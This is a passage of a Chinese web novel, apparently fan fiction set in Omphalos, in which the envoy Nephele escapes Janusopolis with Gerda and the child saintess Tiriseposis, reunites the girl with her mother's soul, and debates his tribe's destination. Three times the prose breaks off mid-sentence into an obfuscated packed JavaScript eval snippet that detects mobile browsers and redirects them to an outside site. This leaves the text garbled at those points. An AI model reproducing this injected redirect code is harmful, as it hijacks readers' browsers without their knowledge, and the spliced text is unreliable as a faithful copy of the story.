缇里西庇俄丝看着银发男人兜帽下从肩膀滑落的银发，忽然觉得，自称使者、自称涅斐勒的陌生大哥哥是那么像她梦里出现的那只白色小马。在特别特别大的黑色海浪拍下来时，那只有着漂亮鬃毛、蓝色眼睛的勇敢小马从天上飞来，把她托在背上带走。可怕的海水追不上小马的速度，只能在地上看着小马和女孩越飞越高、越飞越远。 格尔达憋笑：“……噗。” 涅斐勒犹豫道：“白色的、小马？” “……呀！” 缇里西庇俄丝捂住嘴：对不起妈妈，对不起神圣的雅努斯——她不小心说出来了！ “……” 对于被比做动物这件事，涅斐勒先是叹气，又摇了摇头。 “如果这能让你开心，那就这样吧。” 还能回想从前做过的梦，这对一个刚失去母亲的孩子来说是件好事，不是吗？ 20. 自深谷向着黎明逃亡 是夜，雅努萨波利斯的城墙上悬着骸骨般的白霜。 “安静。”涅斐勒蹲在石柱背后，压低格尔达蠢蠢欲动的脑袋，而缇里西庇俄丝则被她抱小猫一样在怀里。 涅斐勒拽低兜帽，遮住在夜色中分外显眼的银发，双眼猎隼般紧盯着远处的城门。 脖子上的镣铐闪烁起金色的火光，涅斐勒无视那已经习以为常的痛意，捡起花坛上散落的碎石。那些石子很快失去原有的固定形貌，在使者的指尖化作镶金的方体，质感像是高纯度的黄金，反射着、流淌着，直到坚固的石子变成一只只扑闪着翅膀的灰蝶。 涅斐勒将灰蝶放飞出去，这些聪慧的小生命悄无声息地嵌进城门的缝隙间。 涅斐勒按了按脖子上的血管，说：“可以了，走吧。” “好耶！不愧是涅斐勒大人！” 格尔达立刻跳起，她的肩上是环抱女孩脖子的缇里西庇俄丝。 “那个……我想知道，我们要去哪？”缇里西庇俄丝问。 “我们要去找妈妈吗？” 女孩问。涅斐勒看出，她的心中仍然怀有那份注定被打碎的希望。 涅斐勒回答：“很遗憾，并不是。” “啊、这样……” 女孩不再说话。看着缇里西庇俄丝露出无助表情的格尔达拍拍女孩的手，急忙安抚道：“圣女……小圣女大人，我们不是坏人！我们是要带小圣女大人「出去玩」！对，小圣女大人被那些坏人关久了，一定很想出去玩吧？” “……嗯。”缇里西庇俄丝抱住格尔达的脖子，靠在她的背上，安静地闭上眼睛。 涅斐勒带着格尔达和缇里西庇俄丝来到城门前，在灰蝶的作用下，那扇巨大的城门变得很薄、很轻，就好像蝴蝶的双翼般。涅斐勒只是轻轻一推，就将它推开了一道足够两人通过的缝隙。等他和格尔达出门后，又轻轻将门在身后合拢。 “醒着吗，缇里西庇俄丝？”涅斐勒问。 “……嗯。” “墨忒斯大人，你的母亲，已经在今晚的仪式中死去了。”涅斐勒撕开这残酷事实的伪装，把真相对缇里西庇俄丝袒露，“现在，我要带你去和她做最后的「见面」。” “……”格尔达面露不忍，但想到涅斐勒和墨忒斯最后的「声音」所做的承诺，最终也只是转过头去。 走了很久，出城，涅斐勒和格尔达踩过柔软的芳草地，各种颜色的星星越来越多地出现在夜空时，涅斐勒才听到缇里西庇俄丝的回应。 “谢谢你，谢谢你们，涅斐勒哥哥，格尔达姐姐。”小小的女孩窝在格尔达的背上，小小声地说，“谢谢你们、呜……能让缇里西庇俄丝……见妈妈最后一面。” 涅斐勒答：“……当然，我如此承诺。” 翻山越岭，涅斐勒绕了条远路，停在墨忒斯死亡的悬崖边。已过了幕匿时，祭坛上的火尽数熄灭，此处冷清得不像是一位圣女殒命的地方。 “现在，我们要到那底下去。”涅斐勒指着深不见底的幽谷，“准备好了吗？圣女大人。” 格尔达吓了一跳，护住女孩，“那个、涅斐勒大人！请你说得委婉一些……” 缇里西庇俄丝打断道：“谢谢你，格尔达姐姐，但是不用啦，我可以做到。” 在这晚，缇里西庇俄丝迅速地找到了此后一直支撑她成长的心愿跟勇气。 格尔达蹲下身，将缇里西庇俄丝从背上放下来。 缇里西庇俄丝仰起头，露出笑容，看着对她来说有些高的涅斐勒。 “因为，我是雅努萨波利斯的圣女呀！” 格尔达捂住心脏，圣女大人，好可爱！ 涅斐勒看了她一会，直到确认女孩的决心绝不作假，他点了头：“我会如你所愿。” 他在女孩惊讶和不舍的眼神中将金戒攥在手中，随后毫不留恋地丢入了深谷。 那山谷是如此深……掉进里面，一枚小小的戒指和一个活生生的人没有什么区别。 涅斐勒看着身后的山谷，闭上眼：“墨忒斯给你讲的故事里，有关于龙的传说吗？” “嗯，有的。”缇里西庇俄丝回答，努力回想妈妈讲过的故事，“比如说，「守护迷宫的巨龙」那篇，就提到，在一座遥远的城邦里，有一座巨大的宝库，流淌一半龙血的国王找来了一条巨龙，日夜捍卫那座宝库。” 涅斐勒笑笑，“听起来，你不害怕龙。” “嗯，不怕！”缇里西庇俄丝坚定地说。 “你真勇敢，比我强多了。” 涅斐勒说着，走向悬崖。他背过身，面对着格尔达和缇里西庇俄丝，纵身跃下。 格尔达猛地冲到悬崖边，手指几乎要把山头掰烂，“等等——涅斐勒大人！” 女孩的呼唤回荡在谷底，而很快，有一声更嘹亮的嘶鸣自谷底传来。 一道杀气腾腾的身影呼啸而至，是一只巨大的金翼机械飞龙。它的头顶承载着一个比起它自己的身体太过渺小的东西：是涅斐勒，也是它的造物主。 飞龙优雅地停在格尔达和缇里西庇俄丝面前，掀起一阵足以把二人吹跑的气浪。虽然没有更复杂的神智，但美丽的生物还是向两位女孩低下头，表露出：尽管它拥有无数尖牙与四只利爪，鳞片的边缘足以割开人类的喉咙，但此刻，它只有无害与温和。 格尔达先是愣了一下，意识到接下来要做什么后，欢呼着试图像涅斐勒一样爬上飞龙的头顶——不忘把缇里西庇俄丝抱起来往金色飞龙的脑袋上塞。 “上来吧，二位，希望此行值得我用上这宝贵的「材料」。” 涅斐勒努力保持平静，好让自己显得不在意制造飞龙付出的成本。 当格尔达和缇里西庇俄丝爬上飞龙的头部，涅斐勒捏紧已经空空如也的银匣……谢谢，吾友，哪怕到今天你也依旧在履行那诺言。我永远的至交，我发誓会让你戴荣耀归去，而不仅仅化为政治斗争的炉灰。 一声龙吟，飞龙飞往谷底。格尔达兴奋地环顾着四周疾速上升的岩壁——因为他们在快速下落——女孩按捺不住自己的想象问道：“这样的话，哪怕是追兵追上来，我们也能从天空中逃走了吧！” “说起这个。”涅斐勒抓着飞龙脊背的金鳞，“格尔达，你确实如墨忒斯所要求的那样让所有佩拉斯人离开雅努萨波利斯了吗？” “真的，我保证，千真万确。”格尔达的兜帽被风吹起，露出一头浅蓝色的卷发，她不好意思地捂住脑袋戴好兜帽。 “大家现在应该已经踏上旅途啦，虽然不知道接下来去哪里，但是大家相信，只要有涅斐勒大人在，一定会没问题的！” “很荣幸得到你们的信任。”涅斐勒说，“这种流离的日子不会太久。定居雅努萨波利斯……哈，这是个错误的选择，但来到这里并不是。我已从墨忒斯那里得到了雅努斯的预言，接下来要做什么、要去哪里，我都已经知晓。” 格尔达海豹拍手：“好！爸爸妈妈也一定会开心的！” 缇里西庇俄丝看着涅斐勒和格尔达的交流，心中泛起点点羡慕的涟漪。 他们的关系可真好。但是，他们不是妈妈，也不是爸爸…… 女孩仰起头，看向深谷顶端的夜空，那里正有繁星闪烁，每一颗星星都好像一个伙伴在对女孩点头，有的则对她露出笑容。 如果她也能做出「选择」，是不是也会有像这样美好的关系从她的命运里产生呢？ 到了谷底，眼前幽暗一片。寂静到连呼吸都产生回声。 涅斐勒拿出早就准备好的光源——飞龙的褪鳞，在掌心抓握，很快一抹小小的萤火虫般的飞火便从他的手心飞出，绕着三人晃悠悠地转了一圈，开始指引前路。 起初，格尔达相当活跃，直到她一脚踢到了不知是什么动物的骸骨，女孩哭叫着浑身发抖地拽住涅斐勒的袍角。 涅斐勒拍拍格尔达的肩膀让她得到点安慰。不过这也让他注意，比这还要糟糕的景象，他是见过好几次了，不过格尔达和缇里西庇俄丝呢？尤其是缇里西庇俄丝，无论如何，她还只是深居屋内，只能从书本里认识世界的小女孩啊。 涅斐勒若无其事地放慢脚步，直到缇里西庇俄丝短短的步伐和他与格尔达对齐。 “圣女大人。”走着，涅斐勒问，他站在队伍前方领头，平静的声音响彻在山谷中。“墨忒斯离开之前，有没有和你说些什么？” 缇里西庇俄丝的眼前是涅斐勒斗篷的尾部，云朵般一起一伏地在她眼前划过。黑暗里，涅斐勒的腰间有什么东西微微闪烁，缇里西庇俄丝辨认出是一个银匣。那银匣碰撞涅斐勒身上的银饰，发出叮叮当当的动静，打破了谷底死一般的寂静，带来了一丝活着的、前进的气息。 “妈妈告诉我了一些事。” 大概是从眼前人的身上感受到安心，缇里西庇俄丝几乎有问必答。 “妈妈说，她要去参加一个仪式，只有她这样的圣女才能主持。妈妈说，我要乖乖睡觉，乖乖吃饭，一觉睡到大清早，因为仪式要持续很久，到明天，妈妈才能回来。” 涅斐勒和格尔达安静地听着，两道身披斗篷，一高一低的身影引领着尚且幼小的雅努萨波利斯圣女的前路。 一开始，缇里西庇俄丝只是回答涅斐勒的问题，可渐渐的，她有些克制不住自己的回忆和眼泪，愈发忍不住要说出口的、妈妈对她说的一句句话。 “妈妈还说，如果明天来不及，那就明天的明天；要是还来不及，那就等到下一个明天。如果还是不行……” 「那就说明仪式已经成功，妈妈找到了赶走黑潮的办法，去到了彼岸那片崭新的天地。只是因为许多原因，妈妈没办法回过头，接上我的好女孩一起。」 「但妈妈会在那边等你，只要你做个勇敢、善良的孩子，我们就一定能在那片新天地重逢。那里呀，是西风的尽头，黑潮的彼岸，受众神赐福护佑的、熠熠生辉的花海。」 「在玫瑰色的天际中，你会看到一片银白的浅滩。那是旅途的终点，没有风雪、严寒、骤雨，没有人会受到悲伤的感染……妈妈就在那里等你。」 “然后，妈妈和我说……明天见。” 说完，缇里西庇俄丝擦干不知何时流下的眼泪，露出坚强的微笑。 “不过，缇里西庇俄丝是圣女，不会编织谎言欺骗自己。所以，就算妈妈已经离开了我，我也不会再哭啦！” “是吗。”涅斐勒说，“所以，你相信墨忒斯「明天」就会回来吗？” “嗯！我相信。”缇里西庇俄丝重重地点头，“妈妈不会骗我，一定、一定在那西风吹往的地方，黑潮干涸的彼岸，会再见到她！” 涅斐勒笑了笑，摘下兜帽，抬起头。 “……这样看，墨忒斯果然是货真价实的圣女，她说的话正是明天所晓的预言。” 缇里西庇俄丝被涅斐勒的话吸引着看向他，那时，银发的使者正看向天空。 “因为，你看，「明天」已经到来了。” 幕匿时已过，门扉时已至，正好，是翁法罗斯新的一天。 谷底响起无数窸窸窣窣的声音，想到骸骨，缇里西庇俄丝抓住涅斐勒的手。 “别害怕，墨忒斯不是说，「明天」仪式就会结束？结束后，你看到的一定是你的妈妈，而不是任何梦里的怪物。”涅斐勒说，轻轻掰开女孩的手指。 随即，涅斐勒开始咏唱咒文。当话语在谷底流淌，一道金色夹杂着蓝色的神迹波光开始荡漾。被那波光触及，无数的动物骸骨开始塑形，恢复成它们生前的样子——有褐色的松鼠、瓦蓝的飞鹰、甚至还有一对雪白的狮子……都是精密机械的模样，双眼是美丽的宝石。 在全新的生命形态下，所有动物都暂时割舍了生前杀戮与被杀戮的关系，在如同溪流的波光间嬉闹着，直到时间来临，它们一只只化作不同颜色的星星向着天空升起。 格尔达试图抓住一只兔子，却反被恼火的兔子蹬了一脚，痛苦地揉着鼻子。 涅斐勒瞅了他一眼，头痛地叹气，用力按了按鼻梁。 门扉时，打着哈欠守城的守卫，忽然看到这样一幕：自圣城脚下的重渊里，忽然飞出大量彩色的星光，填补了星星的空缺。 这样的奇景让他们立刻通报了政院。而谷底，涅斐勒用力掰了掰脖子上的镣铐，深呼气，清了清嗓子，对眼睛亮闪闪看着这幕的缇里西庇俄丝说： “圣女大人，还记得要跟墨忒斯讲什么故事吗？毕竟，今天不讲，下次，可就是很远很远的明天了。” 话音落下后，远处，飘来一颗红色的星星，是比最甜美的石榴、最鲜艳的花更红的红。 那颗红色的星星绕着缇里西庇俄丝转了好几圈，久久不愿离去；被它眷顾的女孩也伸出手，小心地捧着这颗星星。她已经有所感应了，这颗星星里面，正是…… 星星发出了声响，它的声音带着回音。 “「呀……这个感觉，是你吗？我的女儿？」” 缇里西庇俄丝愣住了，“妈妈！” “「嗯，我的好女孩，我在这里。你瞧，是我，是妈妈呀。」” 绯红的星星贴了贴缇里西庇俄丝因身在谷底变得冰凉的手心，闪了闪，散发出一阵温暖。 “那扭曲的仪式夺走了墨忒斯的生命，抱歉，因为某些原因，我不能阻止那一切。”涅斐勒走到缇里西庇俄丝身边说。 “「涅斐勒阁下，我大致能感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438470|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到您做了什么……不过，我愿意为您保密。」”星星说道，涅斐勒足以想象出它生前俏皮眨眼的样子。 “没什么说不得的，只是收集残骸里剩余的「灵魂」，为将它们重塑身躯而已。”涅斐勒耸耸肩说。 “比起这个，墨忒斯。虽然以实现你的心愿为立场，我不能拯救你，但——” 涅斐勒看向缇里西庇俄丝，叹了口气。 “我没办法看着她伤心而毫无作为。” “所以，哪怕这一次的相见并非我们计划的一环，也请你和你的女儿当做礼物赏脸收下吧。毕竟，这仅仅是一个祭司面对一位圣女垂泪时的……”涅斐勒绞尽脑汁找出了一个词，他个人觉得非常合适。 “「使命」。” 说完该说的话，涅斐勒起身，将时间留给她们自己。 见状，绯红星星闪了闪，飘到缇里西庇俄丝耳边。 缇里西庇俄丝认真点头，像是学到了什么露出了认真和了悟的表情。 “涅斐勒哥……涅斐勒阁下。” 涅斐勒停步，回头看向女孩。 “谢谢你，涅斐勒阁下。我，雅努萨波利斯未来的圣女，缇里西庇俄丝，很喜欢很喜欢这个礼物！” 女孩故作成熟地行礼。 涅斐勒顿了顿，哼笑一声，无可奈何地摆摆手走到了一边。 剩下的时间属于墨忒斯母女。直到那颗红色的星星也升上天际，缇里西庇俄丝笑着跑到涅斐勒身边，问他什么时候回去雅努萨波利斯。 “你居然还想回去？”涅斐勒抚摸着飞龙双翼上的纹理，漫不经心地问。 “如果你想，我可以带你离开。雅努萨波利斯不是好地方，这点你比我清楚。” 缇里西庇俄丝点头，“嗯，要回去。妈妈和我说啦，如果我真的跟涅斐勒哥……阁下逃走的话，雅努萨波利斯就没有一位圣女为民众晓示预言啦。” 涅斐勒不意外这个答案，不过，他可不打算在这种事上顺着墨忒斯。 涅斐勒侧头，垂眸摘下耳边的银饰，把它放在女孩温暖的掌心。 “如果哪一天你不再满意这个决定，捏碎它，呼唤我。”涅斐勒说，“无论多么远，无论何种境地，我会以我所能为你带来一次反悔的资格。” 女孩无法完全明白这个誓言的重量，但那毫无保留的同情之心，她感受得很清楚。 三人乘上巨龙的头顶，黄金巨龙扇动飞翼，视野在一点一点爬升。 “不过，说回离开……” 升上地表的一刻，涅斐勒看向远处。 “为了能让我和我的部族顺利离开，请陪我演一出戏吧，圣女大人。” “咦？好——呀！” 说着，情势陡然转变。涅斐勒唤出那把银色的匕首，拽起缇里西庇俄丝的衣领。他将刀锋抵住女孩娇嫩脆弱的脖子，在飞龙头顶看着悬崖边聚集的追兵。 黄金的巨龙吐出鼻息，扇动双翼，巨大的风让所有人都无法靠近。 他们中有政官、有卫兵、还有祭司。看到这一幕，卫兵们目呲欲裂。刚刚接到祭司们的传讯，得知圣女墨忒斯身殒的消息，此刻又看到另一个歹徒挟持了圣女的女儿，雅努萨波利斯的下任圣女。涅斐勒能从他们的眼神中看到恨不得把自己烧成灰烬的火焰。 有人认出了那头显眼的银色长发，怒斥道：“你这卑鄙的佩拉斯人！背叛贤者的叛徒，挟持圣女的入侵者！快放下圣女大人！” 格尔达不乐意了，对卫兵做鬼脸。涅斐勒摇摇头制止了女孩，对卫兵笑了笑，朗声道： “既然你都认定我是个恶棍，为什么还要多费口舌，不直接把你们的圣女大人，”涅斐勒把匕首朝里推了一下，“从我这十恶不赦的恶人手上——亲自抢过去？” “难道，你不想立功吗？” 立功？立功那也得活着立功！ 卫队止步不前。随后是政官。 一位年轻的政官走上前，狂风吹得他不得不抬手遮住双眼。 “涅斐勒阁下，请别再执迷不悟了！” 涅斐勒看他眼熟，“你叫什么名字？” “埃斯顿。我叫塔斯顿。”年轻的政官与涅斐勒对视，“请您想起来。如果您还有印象，应该还记得我是侍奉墨忒斯大人的政官之一，也许哪天您吃过的一餐就是我按照食谱准备的食物。看在这份交情的份上，我希望您不要一错再错！” “说得好。但我早就受够了。” 涅斐勒的笑容变得兴致盎然，似乎期待着什么事情发生。 在埃斯顿想要继续劝说他悔改时，年轻的政官忽然死死扼住自己的喉咙，在同伴的恐惧中跪在地上，从口中呕出数只黑色的机械甲虫。 “就是你们联合那该死的圣女把我关在囚室里，逼我认罪，甚至剥夺我的灵魂——和你们做的事比起来，这点惩戒简直是小打小闹。” 涅斐勒大人，涅斐勒大人这个样子，绝对是被憋疯了呀！格尔达内心尖叫，努力降低自己的存在感。 涅斐勒并不知道格尔达在背后（物理意义上）对自己的编排，他笑着瞥过昏死过去的埃斯顿，转而看向为首的中年政官。 “说起我的灵魂，你们把我的灵魂剥离以后，将它放在哪了？” 政官看着涅斐勒架在红发圣女脖子上的匕首，脸色黑得像墨一般。无论他在想什么都逃不开一个问题：如果因为他不回答而导致圣女受伤，那么不论他们如何架空了圣女的权力，那些该死的愚民都一定会像发了疯的蝗虫一样，冲进神殿来把他们撕裂！说到底都是那墨忒斯的错，那个女人为什么就不能像其它圣女那样乖乖听话，配合他们享受自己的富贵荣华呢？！ 不知内情的政官不敢拿自己的权力跟性命与涅斐勒作赌，只好不情不愿地回答： “……阁下已经知晓预言，难道还不明白自己的灵魂被我们沉入冥河之底了吗？” 一阵哗然，看来，就连一些雅努萨波利斯的政官和卫兵都不知道「赎罪」的内幕。 涅斐勒大笑。 “哈哈哈——你们觉得这样就能让我永远都被关押，永远都找不回那段真实的往事？” 他勾起嘴角，“做梦去吧！” 涅斐勒抛下被绑架的缇里西庇俄丝，高声命令飞龙载着自己和格尔达飞向已渐渐吐露黎明的山边。 涅斐勒的教养使他哪怕对敌人也说不出粗俗的话，于是他便抛下这串大笑，任由远处的雅努萨波利斯的追兵只能望着飞龙离去的背影咒骂与兴叹。 ……光历3740年，纷争月，门扉时。 佩拉斯末代的大祭司，同时也是于雅努萨波利斯忏悔的罪者。 绑架圣女，越狱出逃。 21. 远行时，应当慨然高歌 红日渐升，再由大变小，由红变白。平原上缀着一列队伍，在大地的炙烤中缓慢移动，队伍由各种各样的人组成：老人、成年人、孩童，都裹着斗篷，宛若鬼魂般沿着平原上的一条小道跋涉着，跨过干枯的野草。巨龙的啸叫先身影出现，远处，一只双翼长尾的金色飞龙朝队列快速逼近，遮天蔽日的膜翼反射着太阳的光辉。 队列中有人率先发现了那条龙，拿手指着天空高声引起同伴的注意。巨龙扇动几下翅膀，随后是一段流畅华丽的滑翔。它在降落，就朝着队列的前方。已经有人拿起了武器。当巨龙接近了地面，它的影子覆过队列的队尾，再然后是队头。整个队伍在它降下的黑暗和狂风中捂住眼，扬起的沙尘打在他们每个人的脸上、手上。 黄金飞龙停在他们面前，低下头颅。部族里最活泼的姑娘率先跳下，对着族人热情地打了个招呼，她身后是族人们许久未见的使者。 “使者大人！” 人们包围上来，不分男女老少。涅斐勒能从每个人的脸上看到喜悦，因为灵魂中失去的一半，他暂时没办法记起和他们相处的事了。但这有什么呢？涅斐勒还是向追随自己的人们露出了最完美的微笑。只要他们仍信任彼此，那就够了。 “各位，久等了。”顿了顿，涅斐勒笑着问：“大家下顿饭想吃什么？” 是的，作为神殿的大祭司（前任）、掌握强大神力的使者，涅斐勒离开雅努萨波利斯监狱，和族群汇合后的第一件事就是弄清楚下顿饭吃什么。 ……那是什么表情？人是铁饭是钢，他的部族又不是和他一样接受黄金世洗礼的长寿种！ 多亏墨忒斯传递信息足够及时，部族已经离雅努萨波利斯足够得远。涅斐勒得以就地扎营，带族人们吃上一顿温热的午餐。涅斐勒架起锅，而生火的活则被注意到使者要亲自下厨的追随者强行包办。虽然对具体的烹饪技巧一窍不通，不过没关系。食材是最重要的，而涅斐勒的「神迹」可以让他提取任何有资质事物的灵魂，施展力量，令它们被重塑为熟悉的食物。 火生起来了。巨大的铁锅里煮着肉，人们在周围聊着天。 涅斐勒老实地把掌勺的权力让给了部族中的厨师。他可干不了这种事，那些调料和食材应该怎么配比？如何选择每一刀切下的角度和力度？以及，食客轻巧的一句“随便”到底是什么意思，该如何满足？还有最重要的“今天吃什么”，这些可都是翁法罗斯（可能也包括那片宇宙）亘古不变的难题。而他显然有自知之明，知道自己不该贸然涉及那片由菜叶和肉香统治的禁忌领域。 涅斐勒看了看附近，忽然发现窝成一团在地上小憩的龙遇到了一群吵闹的“客人”。 强大美丽的造物自然容易吸引别人的注意，涅斐勒同意这一点。不过，如果不是龙脾性温和，以某些顽皮孩子又是爬又是跳的举动来看，他们离摔跤肯定不远了。 “……”但这有什么不好呢？ 涅斐勒纵容了他们的行为，只喊道：“下来的时候不要被划伤！还有，注意礼貌！” 孩子们玩得投入，这大概是他们第一次见到货真价实的飞龙——所以回应涅斐勒的只有一段放肆的笑声。 涅斐勒笑着摇摇头，和悄悄睁开一只眼的黄金巨龙对了个信号。 算了，吃点小苦头对他们没坏处。 开饭了！ 厨师敲着支撑大锅的铁架喊道。梳理头发、聊天、玩耍、读书、保养武器……不管上一秒各自在做什么事，现在人们都来了。 这时，有没说上话和单纯只是想跟他聊聊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438471|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走上前和涅斐勒谈起了各种杂事。从那些感慨或抱怨里，涅斐勒渐渐了解到身处雅努萨波利斯的监牢里无法知晓的事。尤其是一些城邦的政策——佩拉斯人途径的那些城邦里，有哪些肯接纳他们，给他们笑容和鲜花，与他们贸易，允许他们加入城邦的节日宴会，愿意与他们分享情报，而哪些将他们拒之门外。涅斐勒若有所思地听着，搅动着碗里的肉汤。 “咳咳、孩子们，让我来和使者说一会话吧。”一道苍老的声音在人墙外响起。 涅斐勒抬起头。一位笑眯眯的老者背着手从人群分开的一条缝隙间走向他。他起身迎接，却被老者摆着手拒绝，随后，老者握着涅斐勒的手坐在了他原本坐在的位置上。 “您还记得我吗？”老者问，“刚到雅努萨波利斯时，我得到了您的委托，在您每日去神殿祷告，求取预言时负责族中的事务。到现在已经……哎呀，总之已经有几十年啦。” 涅斐勒：“……抱歉。” 涅斐勒毫无印象。这也是当然的。 老者摇头，“格尔达已经和我说过您的情况了，这些时间……您也辛苦了。” 「这些时间」吗？如此轻描淡写。可这些时间，对凡人而言已是一半的人生。 虽然涅斐勒早就在知晓真相时做好了这种准备，但亲眼见证一位白发苍苍的老者在自己面前用亲近随和的态度跟他说话，接纳实际产生的感觉又是另一码事。 老者哎呀了一阵，讲：“话说回来，您做好下一步的打算了吗？” “关于这个，我有一些想法。” 涅斐勒放下碗，依次望过每一个抬起头看向他的佩拉斯人。 “诸位，请贡献出你们的聪明才智，请告诉我：奥赫玛与悬锋城，哪一个是你们向往的去处？” 22. 若是要抛弃往事 悬锋城，还是奥赫玛？是选剑刃起落时的沉重铿锵，还是温泉在池中流淌的波浪？ 一阵沉默。 “这个问题……我、我选奥赫玛。” “悬锋人会猎杀巨人做奴隶，一定也会猎杀人类！我不想去那里送死。” “向东是奥赫玛，向南是悬锋，而西北方则是北境的明珠，我等失落的故都。”老者慢吞吞地回想，他闭上眼，早已了然，“可您这样提问，莫非您想？” 涅斐勒看着远处，地平线上起伏的群山仿佛在为他指引方向。 “悬锋人嗜血，狂暴，愚鲁，在这片大陆上引起无数纷争。”涅斐勒评判，这是他从上辈子起就知道的翁法罗斯历史的一册。 “但他们是货真价实的战士，只有悬锋人的角斗里流出的血，足以唤醒酣睡的死亡。” 老者捋着胡子，思忖着。 “您是要南下前往那座蛮都？” 涅斐勒点头，解释道：“雅努萨波利斯的政官向我坦言，我的灵魂自打被剥离后，便被他们沉入了冥河之底。想要找回来那一半灵魂和里面的记忆，我必须走这么一遭。” “您想利用那座纷争汇聚的城邦里涌出的血，从那里踏入冥界吗……”老者看上去并不像周围的年轻人那样吃惊，他悄悄手杖，“肃静。使者大人，我想问你，你心意已决吗？” “是，我意已决。”涅斐勒说。 “那么，为什么？”老者严肃道，“阁下，如此武断地决定了接下来的旅途，您到底是否有把我们这些追随您的人放在眼中？” “不，我感激各位。”涅斐勒说，“而正是因为我感激各位，才希望各位能够得到应得的对待，而不是在城邦间流浪，仅仅因为选择了我而活着老鼠般的生活。” 老者混浊的眼睛看着涅斐勒，叹息：“但这和您的选择有什么关系？” “因为，灵魂不会说谎。”说着，涅斐勒伸出了手，指尖冒出点点青色、紫色、和绯色的星光。 “雅努斯告诉了我答案：找回那一半遗失的灵魂，将那里面存储的记忆重现。如此一来，我的清白就得以澄清，而佩拉斯人也不会再因追随「罪人」而被诸多城邦放逐。” “……您的意思，我明白了。”老者沉默着，“不过据我所知，拥有这项技艺、能做到这种事的只有「神悟树庭」里研究灵魂的学者，比如说您的那位……故友。但凭佩拉斯与树庭现在的关系，就算您找回了灵魂，又有谁愿意为您展现其中的一切呢？” “况且您一旦离开了，就又是一个十年、两个十年……来日，您归来时，我们这些人已经入土，年轻的姑娘小子们也改头换面，您有多大几率能把他们一一认出来？” “身负罪名地度过一生——这件事，从我们追随您离开被白雪覆盖的佩拉斯时就早已做好准备。当然，您可能已经不记得了。我能感觉到您对于我们的愧疚，但能否请您好好想想：我们到底想拥有什么呢？” 涅斐勒望着缄默的人群，低声答：“我无法回答。” “我们想拥有与您共度岁月的资格。”老者说，“比起清白、比起荣耀，我们更在乎您是否还在我们身边。哪怕翁法罗斯被战火灼烧，哪怕终有一日灾厄将吞没我们，只要和您一同面对，那我们这些凡人也因此得到直面痛苦的勇气。” “可您为什么要这么选，为什么要夺走我们这些人最想拥有的、最后宝贵的东西？” 老者低诉，声音沉静得宛如正在讲述一个与自己无关的故事。 “……” 他要说抱歉吗？还是改变这个选择呢？ 面对着老者和其它族人的目光——那些凝聚着悲哀与控诉的目光——涅斐勒说不出原本打算说的话。本就要靠下定决心才能在用餐时把这一切坦明，失去那份勇气，他也只剩下继续保持沉默的踌躇。 更可怕的是，涅斐勒甚至无法对那份分别做到感同身受。因为他的记忆甚至随着灵魂一同沉进水底，此刻他的眼中，仅仅是一群陌生的人在为自己的离开驻足。 事到如今，涅斐勒也只好笑着喟叹：原来，失去灵魂，是一件这么可怕的事啊。 “哈……是我冒进了。”涅斐勒笑着摇摇头，“前往奥赫玛吧。正好，我也有……” “等一下！” 忽然，传来一道女孩的声音。 女孩——格尔达大声说：“刚才涅斐勒大人所说，是由墨忒斯大人传递、泰坦雅努斯的预言！各位，你们真的觉得那位圣女大人传递的预言会残害我们么？” “格尔达，住嘴！”他身边，一位有着同样浅蓝色短发的瘦削年轻人说。 “雅努萨波利斯的预言是怎么回事，这件事，我经常和他们打交道，我比你清楚。”年轻人冷冷地说，“就算那位圣女有所不同，但你怎么能保证神谕不会有所歪曲？” “不可能！”格尔达握起拳头反驳，“那可是墨忒斯大人，她是不会被外界影响的！” 显然，在场众人都看出来了：格尔达只是不希望心中善良的圣女用生命传递的预言被践踏跟放弃，为此宁愿在敬爱的使者前顶撞族中的长者。 年轻人挑了挑眉，望着格尔达；女孩鼓着脸颊不屈地瞪着他，似乎指望靠这一招就让他回心转意。 “神谕是真的，有很多证据可以证明。”涅斐勒走上前。 “使者大人。”年轻人微微躬身，抬起头说，“抱歉吵到您——您可以叫我安吉奥。” “安吉奥……安吉奥。”涅斐勒顿了顿，像是想起了什么，有些复杂地看着安吉奥。 安吉奥摸了摸自己的脸，问：“我的脸上有什么吗？使者大人？” “不，你很好，一切都很完美。”涅斐勒说，“只是，如果可以，不必叫我使者大人。嗯，涅斐勒，叫我涅斐勒就好。” “这太僭越了，我拒绝。”安吉奥果断地说，“您是在讨好我吗？您希望我赞同您？” 涅斐勒知道他举动被误会了。但是、但是他就是很难对这样与个年轻人，强调：一个有着和老师一样的名字、外表、和语调的年轻人摆出他那副使者的架势啊！ “——总之，使者大人。”安吉奥不知道面前的使者在想什么，只好主动转回话题。 “我不希望您以任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438472|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 